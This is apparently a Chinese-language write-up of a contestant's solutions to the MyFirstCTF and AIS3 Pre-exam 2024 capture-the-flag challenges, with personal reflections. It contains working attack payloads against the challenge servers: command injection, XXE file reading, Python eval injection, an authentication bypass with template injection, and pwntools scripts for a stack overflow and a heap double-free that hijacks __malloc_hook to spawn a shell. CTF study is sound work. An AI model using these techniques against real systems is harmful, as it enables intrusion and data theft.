# Header
## 名次
MyFirstCTF
Screenshot: 2024/05/29 20:21 | At MyFirstCTF

AIS3 Pre-exam
Screenshot: 2024/05/29 20:20 | At AIS3 Pre-exam

## 心得
今年是第一次打MyFirstCTF跟AIS3 Pre-exam,最後還是覺得自己的表現不好,簡單的題目沒有在mfctf現場解出來,甚至是結賽了也沒解出來,賽後想通了但分數已經結算沒辦法幹嘛,覺得很後悔,也有碰到很多題目,現在能力完全不夠,打不出來。
明年肯定再戰,期望能超越今年的自己,希望可以打進前五,這期間得更認真提升自己了。
# Misc
## Welcome
Screenshot: 2024/05/28 20:06 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``

Flag: ``AIS3{Welc0me_to_AIS3_PreExam_2o24!}``
## Quantum Nim Heist
Screenshot: 2024/05/28 20:08 | At AIS3 Pre-exam
``[MyFirstCTF](X) | [AIS3 Pre-exam](O)``

跟電腦玩Nim Game

玩一玩發現在選擇動作時只要直接enter,就可以bypass一回合

原因是在``server.py``中,程式並沒有針對無效輸入做處理,直接繼續跑下去

Solve:
一直bypass直到剩下一條pipe

把最後一條pipe上所有石頭拿走就贏了

Flag: ``AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}``
## Three Dimensional Secret
Screenshot: 2024/05/28 20:17 | At AIS3 Pre-exam
``[-](-) | [AIS3 Pre-exam](O)``

使用纜線鯊魚打開題目附的封包檔

Follow TCP Stream,看到很多東西

這些東西是[GCode](https://zh.wikipedia.org/zh-tw/G%E4%BB%A3%E7%A0%81),所以上網找[工具](https://ncviewer.com/)跑他就好
跑完之後旋轉縮放一下,就可以看到被Print出來的flag

Flag: ``AIS3{b4d1y_tun3d_PriN73r}``
## Emoji Console
Screenshot: 2024/05/28 20:33 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``

一個console,你只能用這些emoji組合出命令

想執行自己打的東西就會直接罷工

🐱 🚩
``cat flag``
發現``flag``是一個資料夾

🐱 ⭐
``cat *``
取得原始碼

Source:
```python=
#!/usr/local/bin/python3
import os
from flask import Flask,send_file,request,redirect,jsonify,render_template
import json
import string
def translate(command:str)->str:
emoji_table = json.load(open('emoji.json','r',encoding='utf-8'))
for key in emoji_table:
if key in command:
command = command.replace(key,emoji_table[key])
return command.lower()
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/api')
def api():
command = request.args.get('command')
if len(set(command).intersection(set(string.printable.replace(" ",''))))>0:
return jsonify({'command':command,'result':'Invalid command'})
command = translate(command)
result = os.popen(command+" 2>&1").read()
return jsonify({'command':command,'result':result})
if __name__ == '__main__':
app.run('0.0.0.0',5000)
{
"😀": ":D",
"😁": ":D",
"😂": ":')",
"🤣": "XD",
"😃": ":D",
"😄": ":D",
"😅": "':D",
"😆": "XD",
"😉": ";)",
"😊": ":)",
"😋": ":P",
"😎": "B)",
"😍": ":)",
"😘": ":*",
"😗": ":*",
"😙": ":*",
"😚": ":*",
"☺️": ":)",
"🙂": ":)",
"🤗": ":)",
"🤩": ":)",
"🤔": ":?",
"🤨": ":/",
"😐": ":|",
"😑": ":|",
"😶": ":|",
"🙄": ":/",
"😏": ":]",
"😣": ">:",
"😥": ":'(",
"😮": ":o",
"🤐": ":x",
"😯": ":o",
"😪": ":'(",
"😫": ">:(",
"😴": "Zzz",
"😌": ":)",
"😛": ":P",
"😜": ";P",
"😝": "XP",
"🤤": ":P",
"😒": ":/",
"😓": ";/",
"😔": ":(",
"😕": ":/",
"🙃": "(:",
"🤑": "$)",
"😲": ":O",
"☹️": ":(",
"🙁": ":(",
"😖": ">:(",
"😞": ":(",
"😟": ":(",
"😤": ">:(",
"😢": ":'(",
"😭": ":'(",
"😦": ":(",
"😧": ">:(",
"😨": ":O",
"😩": ">:(",
"🤯": ":O",
"😬": ":E",
"😰": ":(",
"😱": ":O",
"🥵": ">:(",
"🥶": ":(",
"😳": ":$",
"🤪": ":P",
"😵": "X(",
"🥴": ":P",
"😠": ">:(",
"😡": ">:(",
"🤬": "#$%&!",
"🤕": ":(",
"🤢": "X(",
"🤮": ":P",
"🤧": ":'(",
"😇": "O:)",
"🥳": ":D",
"🥺": ":'(",
"🤡": ":o)",
"🤠": "Y)",
"🤥": ":L",
"🤫": ":x",
"🤭": ":x",
"🐶": "dog",
"🐱": "cat",
"🐭": "mouse",
"🐹": "hamster",
"🐰": "rabbit",
"🦊": "fox",
"🐻": "bear",
"🐼": "panda",
"🐨": "koala",
"🐯": "tiger",
"🦁": "lion",
"🐮": "cow",
"🐷": "pig",
"🐽": "pig nose",
"🐸": "frog",
"🐒": "monkey",
"🐔": "chicken",
"🐧": "penguin",
"🐦": "bird",
"🐤": "baby chick",
"🐣": "hatching chick",
"🐥": "front-facing baby chick",
"🦆": "duck",
"🦅": "eagle",
"🦉": "owl",
"🦇": "bat",
"🐺": "wolf",
"🐗": "boar",
"🐴": "horse",
"🦄": "unicorn",
"🐝": "bee",
"🐛": "bug",
"🦋": "butterfly",
"🐌": "snail",
"🐞": "lady beetle",
"🐜": "ant",
"🦟": "mosquito",
"🦗": "cricket",
"🕷️": "spider",
"🕸️": "spider web",
"🦂": "scorpion",
"🐢": "turtle",
"🐍": "python",
"🦎": "lizard",
"🦖": "T-Rex",
"🦕": "sauropod",
"🐙": "octopus",
"🦑": "squid",
"🦐": "shrimp",
"🦞": "lobster",
"🦀": "crab",
"🐡": "blowfish",
"🐠": "tropical fish",
"🐟": "fish",
"🐬": "dolphin",
"🐳": "whale",
"🐋": "whale",
"🦈": "shark",
"🐊": "crocodile",
"🐅": "tiger",
"🐆": "leopard",
"🦓": "zebra",
"🦍": "gorilla",
"🦧": "orangutan",
"🦣": "mammoth",
"🐘": "elephant",
"🦛": "hippopotamus",
"🦏": "rhinoceros",
"🐪": "camel",
"🐫": "two-hump camel",
"🦒": "giraffe",
"🦘": "kangaroo",
"🦬": "bison",
"🦥": "sloth",
"🦦": "otter",
"🦨": "skunk",
"🦡": "badger",
"🐾": "paw prints",
"◼️": "black square",
"◻️": "white square",
"◾": "black medium square",
"◽": "white medium square",
"▪️": "black small square",
"▫️": "white small square",
"🔶": "large orange diamond",
"🔷": "large blue diamond",
"🔸": "small orange diamond",
"🔹": "small blue diamond",
"🔺": "triangle",
"🔻": "triangle",
"🔼": "triangle",
"🔽": "triangle",
"🔘": "circle",
"⚪": "circle",
"⚫": "black circle",
"🟠": "orange circle",
"🟢": "green circle",
"🔵": "blue circle",
"🟣": "purple circle",
"🟡": "yellow circle",
"🟤": "brown circle",
"⭕": "empty circle",
"🅰️": "A",
"🅱️": "B",
"🅾️": "O",
"ℹ️": "i",
"🅿️": "P",
"Ⓜ️": "M",
"🆎": "AB",
"🆑": "CL",
"🆒": "COOL",
"🆓": "FREE",
"🆔": "ID",
"🆕": "NEW",
"🆖": "NG",
"🆗": "OK",
"🆘": "SOS",
"🆙": "UP",
"🆚": "VS",
"㊗️": "祝",
"㊙️": "秘",
"🈺": "營",
"🈯": "指",
"🉐": "得",
"🈹": "割",
"🈚": "無",
"🈲": "禁",
"🈸": "申",
"🈴": "合",
"🈳": "空",
"🈵": "滿",
"🈶": "有",
"🈷️": "月",
"🚗": "car",
"🚕": "taxi",
"🚙": "SUV",
"🚌": "bus",
"🚎": "trolleybus",
"🏎️": "race car",
"🚓": "police car",
"🚑": "ambulance",
"🚒": "fire engine",
"🚐": "minibus",
"🚚": "delivery truck",
"🚛": "articulated lorry",
"🚜": "tractor",
"🛴": "kick scooter",
"🚲": "bicycle",
"🛵": "scooter",
"🏍️": "motorcycle",
"✈️": "airplane",
"🚀": "rocket",
"🛸": "UFO",
"🚁": "helicopter",
"🛶": "canoe",
"⛵": "sailboat",
"🚤": "speedboat",
"🛳️": "passenger ship",
"⛴️": "ferry",
"🛥️": "motor boat",
"🚢": "ship",
"👨": "man",
"👩": "woman",
"👶": "baby",
"🧓": "old man",
"👵": "old woman",
"💿": "CD",
"📀": "DVD",
"📱": "phone",
"💻": "laptop",
"🖥️": "pc",
"🖨️": "printer",
"⌨️": "keyboard",
"🖱️": "mouse",
"🖲️": "trackball",
"🕹️": "joystick",
"🗜️": "clamp",
"💾": "floppy disk",
"💽": "minidisc",
"☎️": "telephone",
"📟": "pager",
"📺": "television",
"📻": "radio",
"🎙️": "studio microphone",
"🎚️": "level slider",
"🎛️": "control knobs",
"⏰": "alarm clock",
"🕰️": "mantelpiece clock",
"⌚": "watch",
"📡": "satellite antenna",
"🔋": "battery",
"🔌": "plug",
"🚩": "flag",
"⓿": "0",
"❶": "1",
"❷": "2",
"❸": "3",
"❹": "4",
"❺": "5",
"❻": "6",
"❼": "7",
"❽": "8",
"❾": "9",
"❿": "10",
"⭐": "*",
"➕": "+",
"➖": "-",
"✖️": "×",
"➗": "÷"
}
```
對照著原始碼繼續構建Payload
Payload:
💿 🚩 😜😐🐱 ⭐
``cd flag ;P:|cat *``
戳到``flag-printer.py``

Payload:
💿 🚩 😜😐🐍 ⭐
``cd flag ;P:|python *``
執行``flag-printer.py``

Flag: AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
# Web
## Capoost
Screenshot: 2024/05/27 07:41 | At AIS3 Pre-exam
``[MyFirstCTF](X) | [AIS3 Pre-exam](O)``

new post,選擇template時發現了這個api

這個api存在任意檔案讀取,可以把環境裡面所有東西弄出來

先把Source Code那些東西弄出來
可以在``/app/models/user/user.go``內發現管理員帳號的名稱為``4dm1n1337``,密碼隨機產生

跟著第二條提示去看分別在``/app/router/user/user.go``跟``/app/models/user/user.go``的這兩段程式碼,越看越奇怪,就想說好像只有針對username做處理,如果我密碼不打會怎樣?


開啟BurpSuite,在登入請求送出時把密碼改成空白

登入成功

我試過直接f12把``required``拔掉,但還是會出事情

登入管理員帳號之後,我繼續看程式碼,看到位於``/app/router/post/post.go``的這段程式,達成條件之後,``readflag()``被包進去模板,所以要想辦法在模板中執行到``readflag()``

但是執行這塊程式的條件是,**那個post必須是管理員發出的(``nowpost.Owner.ID == 1``)**
我原本想說直接用管理員帳號post,結果被擋掉了
看程式碼發現是創建post的route設有檢查,管理員不能創建post

``/app/middlewares/auth/auth.go``

只能回到post function,根據第五個hint猜測可能是ln42有問題

猜想如果在送出的postdata內亂寫東西,這些亂寫的部分是不是也會被解析,並應用到後面的處理
嘗試在送出的postdata中加入``"owner"="4dm1n1337"``
用一個非管理員帳號登入,不然過不了middlewares

create post,送出時把request攔下並修改資料

看來是不會壞掉

現在已經找到可以不用登入管理員就可以生出一個``newpost.Owner.ID == 1``的post了
接下來的步驟就是
1. 創建一個可以執行``readflag``的模板
2. 在非管理員登入的情況下生出一個``newpost.Owner.ID == 1``、採用上步驟模板的post
3. 查看post,拿flag
先切去管理員帳號,創建一個模板

在這裡func name為``G1V3m34Fl4gpL34s3``是因為在``/app/router/post/post.go``中,``readflag``包進template的名字就是``G1V3m34Fl4gpL34s3``(ln94)
接著切回非管理員帳號,去生出一個post

一樣的攔截request,竄改資料

想讀取結果出事了

發現是``403 forbidden``

應該是``/app/router/post/post.go``的這一段的問題(這個route好像也只有這裡會噴403

所以不能讓回傳的字串內有``AIS3``
解法是用``slice``切回傳的字串,讓他從index 1開始輸出

最後在前面補上一個``A``就好

Flag: ``AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}``
## Ebook Parser
Screenshot: 2024/05/28 19:20 | At AIS3 Pre-exam
``[MyFirstCTF](X) | [AIS3 Pre-exam](O)``

從``app.py``中可以看到,上傳的檔案會被賦予隨機的檔案名稱,存在暫存資料夾中,最後丟進去ln35的``ebookmeta.get_metadata()``解析並回傳資料。

這裡看``ebookmeta``解析``.fb2``檔案的程式碼,位於``fb2.py``中
如截圖所見,檔案內容會被丟進去``etree.parse()``,解析裡面的XML,但是這個模組的寫法並沒有關掉實體解析,導致我們可以玩XXE Injection

Solve:
隨便找一個FB2,把Payload塞在裡面,最後上傳,目標檔案的內容就會出現在回傳的資料中。
Payload:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag" > ]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0"
xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>antique</genre>
<author><first-name></first-name><last-name>aaa</last-name></author>
<book-title>&xxe;</book-title>
<lang> eee </lang>
</title-info>
<document-info>
<author><first-name></first-name><last-name>aaa</last-name></author>
<program-used>calibre 4.99.5</program-used>
<date>26.5.2024</date>
<version>1.0</version>
</document-info>
<publish-info>
<year>2024</year>
<book-name>bababbab</book-name>
</publish-info>
</description>
<body>
<section>
<p>aaaaa</p>
</section>
</body>
</FictionBook>
```

Flag: ``AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}``
## Eval Calc
Screenshot: 2024/05/28 20:01 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``

計算機

在``app.py``可以看到,計算的方式就是直接丟進去``eval()``(ln10)
只有過濾掉空白跟底線

解法就是再套一個eval,被禁掉的字元用``chr()``生出來就好
Payload:
``
{"expression": "eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)+'('+chr(39)+'os'+chr(39)+').popen('+chr(39)+'cat${IFS}/flag'+chr(39)+').read()')"}
``

Flag: ``AIS3{7RiANG13_5NAK3_I5_50_3Vi1}``
# Reverse
## long print
Screenshot: 2024/05/28 20:54 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``

使用Ghidra反編譯,看到超級久``sleep()``

Solve:
把``MOV EDI, 0x3474``Patch成``MOV EDI, 0x1``就好

After:

讓他跑

Flag: ``AIS3{You_are_the_master_of_time_management!!!!?}``
## 火拳のエース
Screenshot: 2024/05/28 21:03 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``

會先執行``print_flag()``

但是有超級久``usleep()``

這裡的解法就是Patch,把``usleep()``傳入值改成``1``就好

但是他沒給完整

可以看到程式後面會要求輸入,並把輸入分別存入四個buffer(ln21)
把這四個buffer經過一連串的處理(ln22 ~ ln35),最後跟一些奇怪的字串做比較(ln36 ~ ln49),比較成功就過關了

``xor_strings()``內容

他的邏輯寫成python其實就是
```python=
for i in range(8):
param_1[i] = chr(ord(param_1[i]) ^ param_2[i])
```
接著是``complex_function()``
因為用Ghidra看的結果怪怪的,這裡改用IDA看

直接改寫成python版本就好
```python=
def complex_function(a1, a2):
if 64 < char and char < 91:
v8 = (17 * a2 + a1 - 65) % 26
v7 = a2 % 3 + 3
v2 = a2 % 3
if ( a2 % 3 == 2 ): v8 = (v8 - v7 + 26) % 26
elif ( v2 <= 2 ):
if ( v2 ):
if ( v2 == 1 ):
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26
return v8 + 65
```
最後就直接爆破就好
Solve:
```python=
# The flag is A I S 3 { G 0 D
def complex_function(char:int, idx:int):
a1 = char
a2 = idx
if 64 < char and char < 91:
v8 = (17 * a2 + a1 - 65) % 26
v7 = a2 % 3 + 3
v2 = a2 % 3
if ( a2 % 3 == 2 ): v8 = (v8 - v7 + 26) % 26
elif ( v2 <= 2 ):
if ( v2 ):
if ( v2 == 1 ):
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26
return v8 + 65
bfb0 = [0x0e, 0x0d, 0x7d, 0x06, 0x0f, 0x17, 0x76, 0x04]
bfb1 = [0x6d, 0x00, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11]
bfb2 = [0x1e, 0x7e, 0x06, 0x13, 0x07, 0x66, 0x0e, 0x71]
bfb3 = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33]
def exp(bfb0, strcmp, offset):
for i in range(8):
flag = True
for t in range(32, 127):
h5 = t
h6 = bfb0[i]
result = hex(h5 ^ h6).replace("0x", "")
c1 = int(result, 16)
c2 = complex_function(c1, i+offset)
if c2 == ord(strcmp[i]):
print(chr(t), end = "")
flag = False
break
if (flag): print("?", end = "")
print("The flag is A I S 3 { G 0 D".replace(" ", ""), end = "")
exp(bfb0, "DHLIYJEG", 0x00)
exp(bfb1, "MZRERYND", 0x20)
exp(bfb2, "RUYODBAH", 0x40)
exp(bfb3, "BKEMPBRE", 0x60)
```

Flag: ``AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}``
## faker's Really OP meow way
Screenshot: 2024/05/28 22:32 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``

使用Ghidra分析,可以看到程式讀取了flag存入``local_108``,產生了48bytes的隨機值存入``local_168``
接著把``main function``、``local_168(48bytes隨機值)``寄送給遠端服務器
執行``runcommand()``之後,比較``local_138``、``local_168``
猜測是要讓``local_138``跟``local_168``一樣

``runcommand()``中接收了遠端服務器傳過來的東西,然後就,沒了?

使用GDB進行動態分析,在執行``runcommand()``之前下斷點
此時的stack狀態

步進``runcommand()``,走完之後發現return address被改掉,整個stack被爆改得像是在打ROP一樣

接下來就是繼續步進並分析,這裡先放上一張stack截圖

程式會把``flag[0]``拿出來存到``rax``
執行到``0x7fffffffc038 --> 0x5555555552d3 (<gadget+22>: pop rbx)``時,``0x82 (key[0])``就會被pop出來存到``rbx``
接著將``rax``、``rbx``相加,存入``locak_138[0]``
接著程式會把``flag[1]``拿出來存到``rax``
執行到``0x7fffffffc080 --> 0x5555555552d3 (<gadget+22>: pop rbx)``時,``0x3b (key[1])``就會被pop出來存到``rbx``
接著將``rax``、``rbx``相加,存入``local_138[1]``
接著程式會把``flag[2]``拿出來存到``rax``
執行到``0x7fffffffc0c8 --> 0x5555555552d3 (<gadget+22>: pop rbx)``時,``0x88 (key[2])``就會被pop出來存到``rbx``
接著將``rax``、``rbx``互相xor,存入``local_138[2]``
接著就會繼續在相加、相減、xor不斷循環,並將結果存入``local_138``

由此可知,反推``flag[0]``就是``local_168[0] - key[0]``
反推``flag[1]``就是``local_168[1] + key[1]``
反推``flag[2]``就是``local_168[2] ^ key[2]``
如此循環就可以反推出flag全貌
弄到這裡也可以知道,這支程式其實就是先讀取flag、產生48bytes隨機值放入``local_168``,把``local_168``內容及``main()``傳送給服務器,服務器依據傳送的資料產生key、構建ROP並回傳,最後執行上述和key相加、相減、xor的動作。
我解題的大部分過程沒有編寫腳本,自己把``local_168``跟``key``一個一個抓下來並反推,這要耗很多時間,也很麻煩。
此外,由於flag每位只有1bytes,範圍``-128~127``,但是反推出來的值可能超過這個範圍,所以要自己轉換回來。
這裡把所有key補齊







```
flag[0] = local_168[0] - key[0] = 0x41 'A'
flag[1] = local_168[1] + key[1] = 0x49 'I'
flag[2] = local_168[2] ^ key[2] = 0x53 'S'
flag[3] = local_168[3] - key[3] = 0x33 '3'
flag[4] = local_168[4] + key[4] = 0x7b '{'
flag[5] = local_168[5] ^ key[5] = 0x72 'r'
flag[6] = local_168[6] - key[6] = 0x33 '3'
flag[7] = local_168[7] + key[7] = 0x176 -> 0x76 'v'
flag[8] = local_168[8] ^ key[8] = 0x33 '3'
flag[9] = local_168[9] - key[9] = 0x72 'r'
flag[10] = local_168[10] + key[10] = 0x135 -> 0x35 '5'
flag[11] = local_168[11] ^ key[11] = 0x31 '1'
flag[12] = local_168[12] - key[12] = 0x6e 'n'
flag[13] = local_168[13] + key[13] = 0x136 -> 0x36 '6'
flag[14] = local_168[14] ^ key[14] = 0x5f '_'
flag[15] = local_168[15] - key[15] = 0x72 'r'
flag[16] = local_168[16] + key[16] = 0x130 -> 0x30 '0'
flag[17] = local_168[17] ^ key[17] = 0x70 -> 'p'
flag[18] = local_168[18] - key[18] = -0xa1 -> 0x5f '_'
flag[19] = local_168[19] + key[19] = 0x131 -> 0x31 '1'
flag[20] = local_168[20] ^ key[20] = 0x35 '5'
flag[21] = local_168[21] - key[21] = 0x5f '_'
flag[22] = local_168[22] + key[22] = 0x63 'c'
flag[23] = local_168[23] ^ key[23] = 0x40 '0'
flag[24] = local_168[24] - key[24] = 0x40 '0'
flag[25] = local_168[25] + key[25] = 0x16c -> 0x6c 'l'
flag[26] = local_168[26] ^ key[26] = 0x5f '_'
flag[27] = local_168[27] - key[27] = 0x72 'r'
flag[28] = local_168[28] + key[28] = 0x131 -> 0x31 '1'
flag[29] = local_168[29] ^ key[29] = 0x36 '6'
flag[30] = local_168[30] - key[30] = -0x98 -> 0x68 'h'
flag[31] = local_168[31] + key[31] = 0x137 -> 0x37 '7'
flag[32] = local_168[32] ^ key[32] = 0x3f '?'
flag[33] = local_168[33] ^ key[33] = 0x3f '?'
flag[34] = local_168[34] ^ key[34] = 0x3f '?'
flag[35] = local_168[35] ^ key[35] = 0x7d '}'
...
```
喔乾,又重新算了一次flag,好累
Flag: ``AIS3{r3v3r51n6_r0p_15_c00l_r16h7???}``
# Pwn
## Mathter
Screenshot 2024/05/29 01:04 | At AIS3 Pre-exam
``[MyFirstCTF](O) | [AIS3 Pre-exam](O)``

不太需要擔心stack canary,真正有漏洞的地方沒有canary檢查

就是一個計算機

在main function中可以看到兩個function,``calculator()``跟``goodbye()``

``calculator()``看起來沒啥問題,但可以看到如果輸入``q``,就會直接return

return之後就是往下走進``goodbye()``
這裡可以看到很明顯的bof,可以改return address跳去任何地方

有兩個win function

這裡先看``win1()``,可以看到前面有檢查(ln10),傳入值要達成條件才給過

但是我們可以直接跳過檢查,跳到開始讀取flag的部分(``0x4018e6``)

但如果直接跑下去就掛了

使用GDB發現是因為``saved rbp``被蓋爛,``rbp``被變成無效地址,導致涉及``rbp``暫存器,或是涉及stack的操作大部分爛掉了
就像是這張截圖,執行到``win1+58``的時候,要把位址``rbp-0x8``的值複製到``rax``,但``rbp``已經爛掉了,所以執行到這裡就爆掉了

解決的方法就是找一個可寫的記憶體區段,把那個區段的最高位址蓋到``saved rbp``
就決定選你了,``0x004bf000``

但是他只給一半QQ
所以要另外寫一個跳到``win2()``

Solve:
```python=
from pwn import *
win = int(input("win1 or win2 [1, 2]: "))
r = remote("chals1.ais3.org", 50001)
# r = process("./mathter")
r.sendlineafter(b" : ", b"q")
r.recvline()
r.recvline()
if win == 1:
r.sendline(b'a'*4+p64(0x004bf000)+p64(0x4018e6))
elif win == 2:
r.sendline(b'a'*4+p64(0x004bf000)+p64(0x4019b8))
else:
print("what the fuck?")
exit(0)
r.interactive()
```

最後把flag拼在一起就好
```
AIS3{0mg_k4zm4_mu57_
k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
```
Flag: ``AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}``
## Inception
Screenshot: 2024/05/29 20:19 | At AIS3 Pre-exam
``[-](-) | [AIS3 Pre-exam](O)``

提供三個操作,``create``、``delete``、``show``

查看原始碼可以看到,``create``部分,題目只提供三種size,接著``malloc(size)``,接收輸入並存入

``delete``的部分,程式free掉chunk之後沒有清除ptr,這給了我們進行攻擊的機會

``show``的部分,雖然有檢查ptr是否為``null``,但是``delete``沒有清除ptr,所以這部分的檢查沒用

解法先創建一個``0x108``大小的chunk(0),再創建一個``0x68``大小的chunk(1),把0跟top chunk分開,避免free掉之後併回去top chunk
delete(0)之後show(0)獲取libc address,反推libc base。
接著創建一個``0x68``大小的chunk(3),依照1、3、1順序delete
這時fastbin內就存在了double free的狀況,可以先去找一個合適的地方做任意寫入,這裡選擇竄改``__malloc_hook``
需要偽造size,``&__malloc_hook - 0x23``的位置剛好有個``0x7f``可以利用,決定寫入點

接著create大小``0x68``chunk就會拿到原本的1,此時在裡面填入決定好的address``&__malloc_hook - 0x23``偽造``fd``
create兩個``0x68``大小的chunk,再create一個``0x68``大小的chunk,就會拿到我們的寫入點,寫入東西把``__malloc_hook``竄改
如果``__malloc_hook``有寫東西進去,在執行``malloc``時,libc就會把``__malloc_hook``裡面的東西當成位址並跳轉過去執行。所以我們如果填寫一些one_gadget或是system的address進去,libc就會跳轉過去執行,就可以得到一個shell。
至於最後要寫什麼在``__malloc_hook``裡面,我手上剛好有一些one_gadget,這裡就帶大夥一個一個嘗試

最後發現第三個one_gadget``0xf1247``可以用,所以就在``__malloc_hook``內填入這個one_gadget的地址
Solve:
```python=
def add(size, content):
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(size).encode())
r.sendlineafter(b": ", content)
def delete(option):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", str(option).encode())
from pwn import *
r = remote("chals1.ais3.org", 50003)
# r = process("./inception", env={"LD_PRELOAD":"./libc-2.23.so"})
# r = process("./inception")
add(2, b"\0"*(0x28)+p64(0x7f))
add(3, b"leak")
add(2, b"gap")
delete(2)
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"2")
r.recvline()
libc = u64(r.recv(6)+b"\0\0") - 0x3c4b78
print("libc base -> "+hex(libc))
delete(1)
delete(3)
delete(1)
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"1")
r.recvline()
heap = u64(r.recv(6)+b"\0\0") - 0x290
print("heap base -> "+hex(heap))
__malloc_hook = libc + 0x3c4b10
tgpos = __malloc_hook - 0x23
print(f"__malloc_hook -> {hex(__malloc_hook)}")
print(f"target pos -> {hex(tgpos)}")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"2")
r.sendafter(b": ", p64(tgpos))
add(2, b"a")
add(2, b"a")
# raw_input()
add(2, b'a'*0x13 + p64(libc+0xf1247))
r.interactive()
```

腳本裡面沒有包含改寫``__malloc_hook``之後要再去執行一次``malloc``的部分,這部分手動
Flag: ``AIS3{Y0u_h4v3_b33n_succ3ssfully_r3cru1t3d_t0_my_t34m}``
# Crypto
我是腦殘,啥都解不出來